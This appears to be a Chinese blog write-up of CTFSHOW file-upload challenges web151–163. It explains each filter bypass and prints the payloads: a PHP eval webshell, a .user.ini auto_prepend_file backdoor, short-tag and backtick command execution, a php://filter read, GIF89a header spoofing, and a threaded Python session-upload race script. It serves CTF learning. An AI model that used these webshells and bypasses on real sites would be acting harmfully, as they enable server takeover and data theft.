CTFSHOW web入门 文件上传

文件上传

web151

  • index.png
  • 上传图片🐎,burp抓包,修改名字为1.php,然后访问upload/1.php,然后system(“cat …/flag.php”);
  • 也可以连蚁剑

web152

  • 同151

web153

  • 对php后缀进行了限制,这里先上传.user.ini,然后再传🐎

  • Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    auto_prepend_file = 1.png
    
  • Content-Disposition: form-data; name="file"; filename="1.png"
    Content-Type: image/png
    
    <?php
    phpinfo();
    eval($_POST[pass]); ?>
    
  • 之后访问url/upload/,显示了phpinfo,之后按照之前方法拿flag、或者蚁剑

  • php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

  • php中有以下两个配置项,效果相当于require(filename)之类的包含
    auto_prepend_file=filename      //包含在文件头
    auto_append_file=filename       //包含在文件尾
    

web154

  • 相比于153增加了对文件内容的检验,这里对php进行了过滤,但是可以用短标签,或者用大写绕过

web155

  • 过滤了php,用短标签,而且发现可以直接拿flag不用再写一遍命令
  • <?=system("tac ../f*");?>相当于<php? echo system("tac ../f*"); ?>

web156

  • 同155

web157

  • 过滤了;
  • 把分号去掉其他同上<?=system("tac ../f*")?>

web158

  • 同上

web159

  • 过滤了(),把system换成``反引号相当于exec,这个没有回显,但是段标签相当于echo,所以还有回显

  • <?=tac …/f*?>

  • 其他同上

web160

  • 把反引号也过滤了,可以利用include进行包含
  • <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
  • 同样上传.user.ini,然后访问/upload/

web161

  • 多了文件头检测,在前面加上GIF89a

  • Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=1.png
    
  • Content-Disposition: form-data; name="file"; filename="1.png"
    Content-Type: image/png
    
    GIF89a
    <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
    

web162

  • 把.ban了

  • session竞争

  • 先上传.user.ini

  • payload

  • import io
    import requests
    import threading
    url = 'http://aa7ff205-5835-4bc1-89fd-d4e12a78bce8.challenge.ctf.show:8080/'
    
    def write(session):
        data = {
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
            }
        while True:
            f = io.BytesIO(b'GIF89a\ncr')
            files = {'file':('1.png',f,'image/png')}
            response = session.post(url+"upload.php",cookies={'PHPSESSID':'cr'},data=data,files=files)
    def read(session):
        while True:
            response=session.get(url+'upload/')
            if 'ctfshow' in response.text:
                print(response.text)
                break
    
    
    
    if __name__ =='__main__':
        session = requests.session()
        for i in range(20):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(20):
            threading.Thread(target=read, args=(session,)).start()
    
    

web163

  • 同上
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值